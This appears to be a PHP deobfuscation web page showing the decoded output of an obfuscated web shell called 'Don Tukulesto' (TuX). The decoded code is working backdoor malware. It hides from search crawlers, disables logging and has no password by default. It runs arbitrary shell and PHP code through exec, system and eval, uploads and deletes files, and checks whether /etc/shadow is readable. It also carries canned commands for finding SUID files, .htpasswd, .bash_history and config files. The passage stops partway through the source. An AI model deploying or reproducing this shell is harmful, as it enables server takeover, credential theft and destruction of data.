Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$QF947F925BD6EC825CA02F35B9B5AAF1E="eNpEnF2boji0Rn/SCSD1tJdlQUA0oQj5gNwB4SmEgJRSivz6s52Lc2..
Decoded Output download
?><?php # Don Tukulesto
$auth_password = "";/*<?php exit; ?>*/
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('TuX_VERSION', '666.9');
if(get_magic_quotes_gpc()) {
function TuXstripslashes($array) {
return is_array($array) ? array_map('TuXstripslashes', $array) : stripslashes($array);
}
$_POST = TuXstripslashes($_POST);
}
function TuXLogin() {
die("<pre align=center><br><br><form method=post><input type=password name=pass><input type=submit value='>>'></form></pre>");
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
TuXLogin();
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function TuXHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>- " . $_SERVER['HTTP_HOST'] . " -</title>
<style>
body{background-color:#000028;color:#e1e1e1;}
body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }
div.content{ padding: 7px;margin-left:7px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/list.php?description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . TuXViewSize($totalSpace) . ' <span>Free:</span> ' . TuXViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. TuXPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function TuXFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function TuXEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function TuXViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function TuXPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function TuXPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . TuXPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . TuXPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . TuXPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function TuXWhich($p) {
$path = TuXEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
TuXHeader();
echo '<h1>Server security information</h1><div class=content>';
function TuXSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
TuXSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
TuXSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
TuXSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
TuXSecParam('Open base dir', @ini_get('open_basedir'));
TuXSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
TuXSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
TuXSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
TuXSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
TuXSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
TuXSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
TuXSecParam('OS version', @file_get_contents('/proc/version'));
TuXSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(TuXWhich($item))
$temp[] = $item;
TuXSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(TuXWhich($item))
$temp[] = $item;
TuXSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(TuXWhich($item))
$temp[] = $item;
TuXSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
TuXSecParam('HDD space', TuXEx('df -h'));
TuXSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
TuXSecParam('OS Version',TuXEx('ver'));
TuXSecParam('Account Settings',TuXEx('net accounts'));
TuXSecParam('User Accounts',TuXEx('net user'));
}
echo '</div>';
TuXFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
TuXHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
TuXFooter();
}
function actionFilesMan() {
TuXHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
TuXEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';TuXFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => TuXPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function TuXCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "TuXCmp");
usort($dirs, "TuXCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?TuXViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='TuX_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
TuXFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
